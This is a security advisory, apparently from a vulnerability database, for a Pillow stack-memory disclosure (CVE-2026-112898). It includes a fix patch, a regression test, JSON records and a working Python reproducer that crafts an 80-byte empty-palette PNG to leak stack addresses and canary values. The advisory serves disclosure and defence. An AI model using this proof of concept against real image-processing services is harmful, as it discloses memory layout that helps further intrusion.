cache[0] is then ≤ 255 and palette->palette is a fixed 1024-byte array, so the subsequent palette->palette[cache[0] * 4] reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive ImagingPaletteCacheUpdate invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.
The behaviour was introduced in 54cb09d8b48c ("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The Image.new("P", ...) route additionally depends on fd310512b95a ("Set C palette to be empty by default", first in 10.1.0); before that a fresh "P" image carried a 256-entry grey ramp.
Impact
An application that lets a user supply the reference palette image for Image.quantize(palette=...) — palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and _imaging.so, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the palette image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.
Reproducing
repro is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.
png_with_plte()builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a givenPLTEpayload. With an empty payload it produces exactly the 80-byte file shown above.quantize_against()does what an "apply this palette" feature does: it opens the PNG withImage.open()and callsquantize(palette=pal, dither=Image.Dither.NONE)on a 512×1 RGB strip. The strip holds the colours(r*4, g*4, b*4)forr, g, bin0..7, one for each slot of the colour-cache boxr, g, b ∈ [0,32)and in slot order. That makes output pixeljexactlyc[j]ofImagingPaletteCacheUpdate().- Control: a one-entry
PLTE. The only valid index is 0, and every output pixel is 0. - Attack: the same PNG with a zero-length
PLTE.quantize()returns an image without complaint, and its pixels contain about 80 distinct values. - Check: the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the
[stack]range in the script's own/proc/self/maps. It prints each word that points into the stack. A typical run finds 8, e.g.pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]. Pixel data can only hold stack addresses if it was copied from the stack.
The script prints BUG if the control is all zeros and at least two output words are stack addresses. It prints OK if quantize() rejects the empty palette with ValueError, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints attack (empty PLTE): rejected: empty palette / OK. With only the Palette.c half of the patch, the output is 512 zero bytes and it prints OK.
Suggested fix
The attached patch rejects an empty palette in topalette() before any work is done, with ValueError("empty palette") in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, so Image.quantize() raises a normal ValueError. It also zero-fills c[] alongside d[] in ImagingPaletteCacheUpdate() so no present or future caller can copy stack contents into the cache, and adds a regression test test_empty_palette to Tests/test_image_quantize.py. quantize(palette=) is the only path that hands a caller-supplied palette to topalette(); the NULL-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare Image.new("P", ...)) now raises instead of returning garbage indices. The C changes:
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
alpha = mode == IMAGING_MODE_PA;
+ if (palette != NULL && palette->size <= 0) {
+ return (Imaging)ImagingError_ValueError("empty palette");
+ }
+
if (palette == NULL) {
/* FIXME: make user configurable */
if (imIn->bands == 1) {
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0;
+ c[i] = 0;
}
for (i = 0; i < palette->size; i++) {
Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with ValueError: empty palette and the script prints OK; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in src/PIL. Optionally PngImagePlugin.chunk_PLTE could additionally raise SyntaxError for a PLTE whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and Image.quantize() could raise a clearer Python-level error when palette.palette is empty.
The patch
Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()
Applies to src/libImaging/Convert.c at the commit above.
diff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py
index 887628560..dcd1d901e 100644
--- a/Tests/test_image_quantize.py
+++ b/Tests/test_image_quantize.py
@@ -179,3 +179,13 @@ def test_small_palette() -> None:
quantized_colors = im.getcolors()
assert quantized_colors is not None
assert len(quantized_colors) == 2
+
+
+def test_empty_palette() -> None:
+ im = hopper()
+
+ p = Image.new("P", (1, 1))
+ p.putpalette(b"")
+
+ with pytest.raises(ValueError):
+ im.quantize(palette=p)
diff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c
index 4a35a9a1f..7746d9255 100644
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
alpha = mode == IMAGING_MODE_PA;
+ if (palette != NULL && palette->size <= 0) {
+ return (Imaging)ImagingError_ValueError("empty palette");
+ }
+
if (palette == NULL) {
/* FIXME: make user configurable */
if (imIn->bands == 1) {
diff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c
index b2dacf656..ceb69d3dc 100644
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0;
+ c[i] = 0;
}
for (i = 0; i < palette->size; i++) {
The reproducer
Reproducer —repro, 2,975 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# Pillow: Image.quantize(palette=<P image with an empty palette>) returns
# uninitialised C stack bytes as pixel values.
#
# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local
# UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a
# zero-length PLTE chunk gives palette->size == 0, so c[] is never written and
# its raw stack contents are copied into the colour cache, which topalette()
# (src/libImaging/Convert.c) then emits as the output pixels.
import io
import struct
import zlib
from PIL import Image
def png_with_plte(plte):
"""A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`."""
def chunk(tag, data):
return (struct.pack(">I", len(data)) + tag + data
+ struct.pack(">I", zlib.crc32(tag + data)))
ihdr = struct.pack(">IIBBBBB", 4, 4, 8, 3, 0, 0, 0)
pixels = zlib.compress(b"\x00" * 4 * 5)
return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte)
+ chunk(b"IDAT", pixels) + chunk(b"IEND", b""))
def quantize_against(palette_png):
"""What an "apply this palette" feature does with an uploaded palette image."""
pal = Image.open(io.BytesIO(palette_png))
# 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot
# order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().
src = Image.new("RGB", (512, 1))
src.putdata([(r * 4, g * 4, b * 4)
for r in range(8) for g in range(8) for b in range(8)])
return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()
def stack_range():
for line in open("/proc/self/maps"):
if line.rstrip().endswith("[stack]"):
lo, hi = line.split()[0].split("-")
return int(lo, 16), int(hi, 16)
# Control: a one-entry palette -- every pixel must map to index 0.
control = quantize_against(png_with_plte(b"\x10\x20\x30"))
print(f"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}")
# Attack: the same PNG with an empty PLTE chunk (80 bytes).
try:
leaked = quantize_against(png_with_plte(b""))
except ValueError as e:
print(f"attack (empty PLTE): rejected: {e}")
print("OK")
raise SystemExit
print(f"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:")
print(f" {leaked[:64].hex()}")
# Read the 512 pixel bytes as 64 little-endian words; any word that is an
# address inside this process's own stack can only have come from the stack.
lo, hi = stack_range()
print(f"this process's [stack] mapping: {lo:#x}-{hi:#x}")
stack_ptrs = 0
for i in range(0, 512, 8):
word = int.from_bytes(leaked[i:i + 8], "little")
if lo <= word < hi:
stack_ptrs += 1
print(f" pixels {i:3d}..{i + 7:3d} = {word:#018x} <- pointer into [stack]")
print(f"{stack_ptrs} of 64 words of the output image are stack addresses")
print("BUG" if set(control) == {0} and stack_ptrs >= 2 else "OK")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112898"
],
"database_specific": {
"cwe_ids": [
"CWE-457"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T20:44:07Z",
"nvd_published_at": "2026-10-19T22:17:10Z",
"severity": "MODERATE"
},
"details": "```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow\u0027s `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process\u0027s stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow\u0027s own C module, along with the stack-protector canary.\n\nThe bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette-\u003esize`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `\"P\"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new(\"P\", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process\u0027s own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new(\"P\", ...)` route exists since 10.1.0.\n\n## Details\n\n`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8\u00d78\u00d78 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i \u003c palette-\u003esize; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette-\u003esize == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size \u003e= 1`. A zero-entry `\"P\"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new(\"P\", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).\n\nShowing it with the installed build, no special flags. The 80-byte PNG below is 4\u00d74, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:\n\n```\n89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c\n00000000 504c5445 4ba88955\n0000000b 49444154 789c6360c0040000140001 7dfe1eee\n00000000 49454e44 ae426082\n```\n\n```python\npal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == \"P\", pal.im.getpalette(\"RGB\") == b\"\"\nsrc = Image.new(\"RGB\", (512, 1))\nsrc.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])\nout = src.quantize(palette=pal, dither=Image.Dither.NONE)\nout.tobytes() # 512 bytes, different in every process\n```\n\nThe 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b \u2208 [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process\u0027s `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process\u0027s own mappings \u2014 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` \u2014 and 3 words equal to the thread\u0027s stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, \"PNG\")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang\u0027s DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette-\u003epalette`.\n\n### Code path\n\nFile \u2192 empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw(\"RGB\", b\"\")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette(\"RGB\", \"RGB\", b\"\")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette-\u003esize = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.\n\nAPI \u2192 sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == \"P\"` and calls `self.im.convert(\"P\", dither, palette.im)` \u2192 `ImagingConvert` \u2192 `topalette(..., inpalette=\u003cthat palette\u003e, dither)`. `topalette` tests the palette for `NULL` (`Convert.c:1162`, `:1178`) but not for `size == 0`, allocates the cache (every slot `0x100` = \"not computed\"), and for each source pixel:\n\n```c\n// src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same)\n cache = \u0026ImagingPaletteCache(palette, r, g, b);\n if (cache[0] == 0x100) {\n ImagingPaletteCacheUpdate(palette, r, g, b);\n }\n \u2026\n out[x] = (UINT8)cache[0];\n```\n\nInside `ImagingPaletteCacheUpdate` the only store to `c[]` is in step 2, and both step 1 and step 2 iterate over palette entries:\n\n```c\n// src/libImaging/Palette.c:160-161\n unsigned int d[BOXVOLUME];\n UINT8 c[BOXVOLUME];\n\u2026\n// src/libImaging/Palette.c:212-221, 240-242\n for (i = 0; i \u003c BOXVOLUME; i++) {\n d[i] = (unsigned int)~0; /* d[] is initialised, c[] is not */\n }\n for (i = 0; i \u003c palette-\u003esize; i++) { /* size == 0: body never runs */\n if (dmin[i] \u003c= dmax) {\n \u2026\n if ((unsigned int)bd \u003c d[j]) {\n d[j] = bd;\n c[j] = (UINT8)i;\n }\n```\n\nFor any non-empty palette every slot is written: the entry that produced `dmax` passes `dmin[i] \u003c= dmax`, and because `d[j]` starts at `~0` the first visiting entry always stores into `c[j]`. With `size == 0` the loop is skipped entirely and step 3 publishes the raw stack array:\n\n```c\n// src/libImaging/Palette.c:262-266\n j = 0;\n for (r = r0; r \u003c r1; r += 4) {\n for (g = g0; g \u003c g1; g += 4) {\n for (b = b0; b \u003c b1; b += 4) {\n ImagingPaletteCache(palette, r, g, b) = c[j++];\n```\n\n`cache[0]` is then \u2264 255 and `palette-\u003epalette` is a fixed 1024-byte array, so the subsequent `palette-\u003epalette[cache[0] * 4]` reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive `ImagingPaletteCacheUpdate` invocations in the pixel loop, every box yields the same 512 bytes \u2014 whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.\n\nThe behaviour was introduced in `54cb09d8b48c` (\"When converting to P, restrict colors to palette size\", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The `Image.new(\"P\", ...)` route additionally depends on `fd310512b95a` (\"Set C palette to be empty by default\", first in 10.1.0); before that a fresh `\"P\"` image carried a 256-entry grey ramp.\n\n## Impact\n\nAn application that lets a user supply the reference palette image for `Image.quantize(palette=...)` \u2014 palette-swap / \"apply this palette\" features, sprite and GIF tooling, pixel-art converters \u2014 and returns the quantised result hands that user 512 bytes of the worker\u0027s C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and `_imaging.so`, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the *palette* image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.\n\n## Reproducing\n\n`repro` is a short, single-file Python script that runs against the installed Pillow. It doesn\u0027t rebuild anything or start any other process, and it finishes in about 0.1 s.\n\n1. `png_with_plte()` builds a 4\u00d74 palette-mode PNG (bit depth 8, colour type 3) around a given `PLTE` payload. With an empty payload it produces exactly the 80-byte file shown above.\n2. `quantize_against()` does what an \"apply this palette\" feature does: it opens the PNG with `Image.open()` and calls `quantize(palette=pal, dither=Image.Dither.NONE)` on a 512\u00d71 RGB strip. The strip holds the colours `(r*4, g*4, b*4)` for `r, g, b` in `0..7`, one for each slot of the colour-cache box `r, g, b \u2208 [0,32)` and in slot order. That makes output pixel `j` exactly `c[j]` of `ImagingPaletteCacheUpdate()`.\n3. **Control:** a one-entry `PLTE`. The only valid index is 0, and every output pixel is 0.\n4. **Attack:** the same PNG with a zero-length `PLTE`. `quantize()` returns an image without complaint, and its pixels contain about 80 distinct values.\n5. **Check:** the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the `[stack]` range in the script\u0027s own `/proc/self/maps`. It prints each word that points into the stack. A typical run finds 8, e.g. `pixels 0..7 = 0x00007ffd959c3fa0 \u003c- pointer into [stack]`. Pixel data can only hold stack addresses if it was copied from the stack.\n\nThe script prints `BUG` if the control is all zeros and at least two output words are stack addresses. It prints `OK` if `quantize()` rejects the empty palette with `ValueError`, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints `attack (empty PLTE): rejected: empty palette` / `OK`. With only the `Palette.c` half of the patch, the output is 512 zero bytes and it prints `OK`.\n\n## Suggested fix\n\nThe attached patch rejects an empty palette in `topalette()` before any work is done, with `ValueError(\"empty palette\")` in the same idiom as the neighbouring \"no palette\" / \"conversion not supported\" checks, so `Image.quantize()` raises a normal `ValueError`. It also zero-fills `c[]` alongside `d[]` in `ImagingPaletteCacheUpdate()` so no present or future caller can copy stack contents into the cache, and adds a regression test `test_empty_palette` to `Tests/test_image_quantize.py`. `quantize(palette=)` is the only path that hands a caller-supplied palette to `topalette()`; the `NULL`-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare `Image.new(\"P\", ...)`) now raises instead of returning garbage indices. The C changes:\n\n```diff\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n alpha = mode == IMAGING_MODE_PA;\n \n+ if (palette != NULL \u0026\u0026 palette-\u003esize \u003c= 0) {\n+ return (Imaging)ImagingError_ValueError(\"empty palette\");\n+ }\n+\n if (palette == NULL) {\n /* FIXME: make user configurable */\n if (imIn-\u003ebands == 1) {\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n for (i = 0; i \u003c BOXVOLUME; i++) {\n d[i] = (unsigned int)~0;\n+ c[i] = 0;\n }\n \n for (i = 0; i \u003c palette-\u003esize; i++) {\n```\n\nApplied to a clean copy of the tree and rebuilt, the reproducer\u0027s attack step fails with `ValueError: empty palette` and the script prints `OK`; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in `src/PIL`. Optionally `PngImagePlugin.chunk_PLTE` could additionally raise `SyntaxError` for a `PLTE` whose length is 0 or not a multiple of 3, as the PNG specification requires 1\u2013256 entries, and `Image.quantize()` could raise a clearer Python-level error when `palette.palette` is empty.\n\n## The patch\n\nRaise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()\n\nApplies to `src/libImaging/Convert.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py\nindex 887628560..dcd1d901e 100644\n--- a/Tests/test_image_quantize.py\n+++ b/Tests/test_image_quantize.py\n@@ -179,3 +179,13 @@ def test_small_palette() -\u003e None:\n quantized_colors = im.getcolors()\n assert quantized_colors is not None\n assert len(quantized_colors) == 2\n+\n+\n+def test_empty_palette() -\u003e None:\n+ im = hopper()\n+\n+ p = Image.new(\"P\", (1, 1))\n+ p.putpalette(b\"\")\n+\n+ with pytest.raises(ValueError):\n+ im.quantize(palette=p)\ndiff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c\nindex 4a35a9a1f..7746d9255 100644\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n alpha = mode == IMAGING_MODE_PA;\n \n+ if (palette != NULL \u0026\u0026 palette-\u003esize \u003c= 0) {\n+ return (Imaging)ImagingError_ValueError(\"empty palette\");\n+ }\n+\n if (palette == NULL) {\n /* FIXME: make user configurable */\n if (imIn-\u003ebands == 1) {\ndiff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c\nindex b2dacf656..ceb69d3dc 100644\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n for (i = 0; i \u003c BOXVOLUME; i++) {\n d[i] = (unsigned int)~0;\n+ c[i] = 0;\n }\n \n for (i = 0; i \u003c palette-\u003esize; i++) {\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,975 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: Image.quantize(palette=\u003cP image with an empty palette\u003e) returns\n# uninitialised C stack bytes as pixel values.\n#\n# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local\n# UINT8 c[512] inside `for (i = 0; i \u003c palette-\u003esize; i++)`. A PNG with a\n# zero-length PLTE chunk gives palette-\u003esize == 0, so c[] is never written and\n# its raw stack contents are copied into the colour cache, which topalette()\n# (src/libImaging/Convert.c) then emits as the output pixels.\nimport io\nimport struct\nimport zlib\n\nfrom PIL import Image\n\n\ndef png_with_plte(plte):\n \"\"\"A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`.\"\"\"\n def chunk(tag, data):\n return (struct.pack(\"\u003eI\", len(data)) + tag + data\n + struct.pack(\"\u003eI\", zlib.crc32(tag + data)))\n ihdr = struct.pack(\"\u003eIIBBBBB\", 4, 4, 8, 3, 0, 0, 0)\n pixels = zlib.compress(b\"\\x00\" * 4 * 5)\n return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"PLTE\", plte)\n + chunk(b\"IDAT\", pixels) + chunk(b\"IEND\", b\"\"))\n\n\ndef quantize_against(palette_png):\n \"\"\"What an \"apply this palette\" feature does with an uploaded palette image.\"\"\"\n pal = Image.open(io.BytesIO(palette_png))\n # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot\n # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().\n src = Image.new(\"RGB\", (512, 1))\n src.putdata([(r * 4, g * 4, b * 4)\n for r in range(8) for g in range(8) for b in range(8)])\n return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()\n\n\ndef stack_range():\n for line in open(\"/proc/self/maps\"):\n if line.rstrip().endswith(\"[stack]\"):\n lo, hi = line.split()[0].split(\"-\")\n return int(lo, 16), int(hi, 16)\n\n\n# Control: a one-entry palette -- every pixel must map to index 0.\ncontrol = quantize_against(png_with_plte(b\"\\x10\\x20\\x30\"))\nprint(f\"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}\")\n\n# Attack: the same PNG with an empty PLTE chunk (80 bytes).\ntry:\n leaked = quantize_against(png_with_plte(b\"\"))\nexcept ValueError as e:\n print(f\"attack (empty PLTE): rejected: {e}\")\n print(\"OK\")\n raise SystemExit\n\nprint(f\"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:\")\nprint(f\" {leaked[:64].hex()}\")\n\n# Read the 512 pixel bytes as 64 little-endian words; any word that is an\n# address inside this process\u0027s own stack can only have come from the stack.\nlo, hi = stack_range()\nprint(f\"this process\u0027s [stack] mapping: {lo:#x}-{hi:#x}\")\nstack_ptrs = 0\nfor i in range(0, 512, 8):\n word = int.from_bytes(leaked[i:i + 8], \"little\")\n if lo \u003c= word \u003c hi:\n stack_ptrs += 1\n print(f\" pixels {i:3d}..{i + 7:3d} = {word:#018x} \u003c- pointer into [stack]\")\n\nprint(f\"{stack_ptrs} of 64 words of the output image are stack addresses\")\nprint(\"BUG\" if set(control) == {0} and stack_ptrs \u003e= 2 else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "GHSA-rfgq-q3w2-pmv2",
"modified": "2026-10-21T20:44:08Z",
"published": "2026-10-21T20:44:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112898"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Image.quantize() with empty palette leaks uninitialized stack memory"
}
OESA-2026-4740 (CVE-2026-112898)
Vulnerability from osv_openeuler – Published: 2026-11-11 12:25 – Updated: 2026-11-11 12:25 – Source websitePillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0.(CVE-2026-112898)
Pillow is a Python imaging library. From 9.1.0 until 13.0.0, BmpRleDecoder.decode() in src/PIL/BmpImagePlugin.py permits crafted RLE BMP delta escapes and absolute-mode runs to append beyond the remaining dest_length without a per-branch cap. A delta can add roughly 255 image rows in one iteration, so a kilobyte-sized file with a large but permitted width can expand the data bytearray to hundreds of megabytes or more, causing memory-exhaustion denial of service. This issue is fixed in version 13.0.0.(CVE-2026-96638)
| URL | Type | |
|---|---|---|
{
"affected": [
{
"ecosystem_specific": {
"aarch64": [
"python-pillow-debuginfo-10.3.0-15.oe2403sp4.aarch64.rpm",
"python-pillow-debugsource-10.3.0-15.oe2403sp4.aarch64.rpm",
"python3-pillow-10.3.0-15.oe2403sp4.aarch64.rpm",
"python3-pillow-devel-10.3.0-15.oe2403sp4.aarch64.rpm",
"python3-pillow-qt-10.3.0-15.oe2403sp4.aarch64.rpm",
"python3-pillow-tk-10.3.0-15.oe2403sp4.aarch64.rpm"
],
"noarch": [
"python3-pillow-help-10.3.0-15.oe2403sp4.noarch.rpm"
],
"src": [
"python-pillow-10.3.0-15.oe2403sp4.src.rpm"
],
"x86_64": [
"python-pillow-debuginfo-10.3.0-15.oe2403sp4.x86_64.rpm",
"python-pillow-debugsource-10.3.0-15.oe2403sp4.x86_64.rpm",
"python3-pillow-10.3.0-15.oe2403sp4.x86_64.rpm",
"python3-pillow-devel-10.3.0-15.oe2403sp4.x86_64.rpm",
"python3-pillow-qt-10.3.0-15.oe2403sp4.x86_64.rpm",
"python3-pillow-tk-10.3.0-15.oe2403sp4.x86_64.rpm"
]
},
"package": {
"ecosystem": "openEuler:24.03-LTS-SP4",
"name": "python-pillow",
"purl": "pkg:rpm/openEuler/python-pillow\u0026distro=openEuler-24.03-LTS-SP4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.3.0-15.oe2403sp4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"severity": "Medium"
},
